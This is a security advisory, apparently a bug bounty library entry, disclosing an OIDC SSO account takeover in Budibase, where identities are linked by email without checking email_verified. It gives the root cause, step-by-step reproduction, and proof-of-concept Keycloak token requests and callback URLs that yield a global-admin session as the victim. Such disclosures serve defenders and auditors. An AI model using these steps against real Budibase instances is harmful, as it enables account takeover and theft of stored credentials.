# Budibase: OIDC SSO account takeover: incoming identity linked by email without checking email_verified

Budibase OIDC SSO links incoming identities to existing accounts by email without checking email_verified, letting an attacker with an unverified IdP email take over any account including global admin.

- Payout: Research
- Severity: critical
- Program: Budibase
- Found by: freeman-bb
- Disclosed: 2026-07-24
- CVE: CVE-2026-73302
- Write-up quality: 9/10
- Original: https://github.com/advisories/GHSA-hp6v-6jw7-gv2f
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-hp6v-6jw7-gv2f
- Tags: area:web domain:web impact:ato impact:privesc kind:research platform:ghsa sev:critical tech:jwt tech:oidc technique:chained technique:source-review vuln:access-control vuln:account-takeover vuln:auth-bypass

**Target:** OIDC SSO login callback (passport oidc strategy) in @budibase/server
**Root cause:** The OIDC verify callback extracts the email claim but never reads email_verified, and sso.authenticate falls back to getGlobalUserByEmail when the IdP sub lookup misses, merging the incoming identity into any existing account matching the claimed email.
**Steps:**
1. Obtain a trusted-IdP account whose email attribute is set to the victim's address and left unverified (e.g. Keycloak realm with Verify Email off, self-register with email=victim).
2. Request an id_token: `POST /realms/budi/protocol/openid-connect/token` with `grant_type=password&client_id=budibase&client_secret=…&username=attacker&password=Attacker123!&scope=openid email profile`; payload shows `"email":"victim@stand.local","email_verified":false` with attacker's own `sub`.
3. Start the OIDC flow: `GET /api/global/auth/default/oidc/configs/kc-oidc-1`, log in as attacker, then `GET /api/global/auth/oidc/callback?code=…&state=…`.
4. Observe `budibase:auth` JWT now carries `userId` = victim's `_id`; `GET /api/global/self` returns victim with `admin.global=true`, `builder.global=true`.
5. Negative control: same flow with a benign unverified email creates a new low-privilege account keyed on the IdP sub, confirming the email claim drives the merge.
**How found:** Code review of the OIDC verify path: noticed getEmail/buildJwtClaims never read email_verified (grep -r email_verified packages/ -> 0 hits) and that sso.authenticate silently swallows the sub-lookup miss then falls back to getGlobalUserByEmail; traced UserDB.save to confirm the merge bypasses email-change and EmailUnavailableError guards.
**Exploitation:** Attacker authenticates as their own distinct IdP principal but with the victim's email asserted unverified; the sub lookup 404s, the email fallback loads the victim's account, syncUser preserves victim _id/roles, and a session JWT for the victim is issued — yielding full tenant control including stored datasource credentials.
**Escalation:** Merging into a global-admin/instance-owner account grants full tenant control: apps, datasources, automations, user management, stored credentials.
**Insight:** When auditing SSO, grep for the identity-linking key: any getGlobalUserByEmail-style fallback after a sub lookup miss is an account-takeover primitive unless gated on email_verified (OIDC) or assertion signature/EmailVerified (SAML). Default IdP configs (Keycloak/Authentik Verify Email off) make unverified-email claims attacker-controllable.

## Proof of concept (copied exactly from the original report)

**Keycloak token request asserting victim email unverified**

```
POST /realms/budi/protocol/openid-connect/token   (Keycloak)
grant_type=password&client_id=budibase&client_secret=…&username=attacker&password=Attacker123!&scope=openid email profile
-> id_token payload: { "sub":"3cf58c45-…", "preferred_username":"attacker",
                      "email":"victim@stand.local", "email_verified":false }
```

**OIDC callback flow driving the takeover**

```
GET /api/global/auth/default/oidc/configs/kc-oidc-1` -> IdP login as `attacker`/`Attacker123!` -> `GET /api/global/auth/oidc/callback?code=…&state=…
```

**Negative control token with benign email**

```
id_token: { "sub":"55794bf2-…", "preferred_username":"attacker2", "email":"attacker2@evil.local", "email_verified":false }
-> budibase:auth: { "userId":"us_55794bf2-…" }   (a NEW account, _id derived from the IdP sub)
-> /api/global/self: { "_id":"us_55794bf2-…", "email":"attacker2@evil.local", admin.global: null, builder.global: null }
```

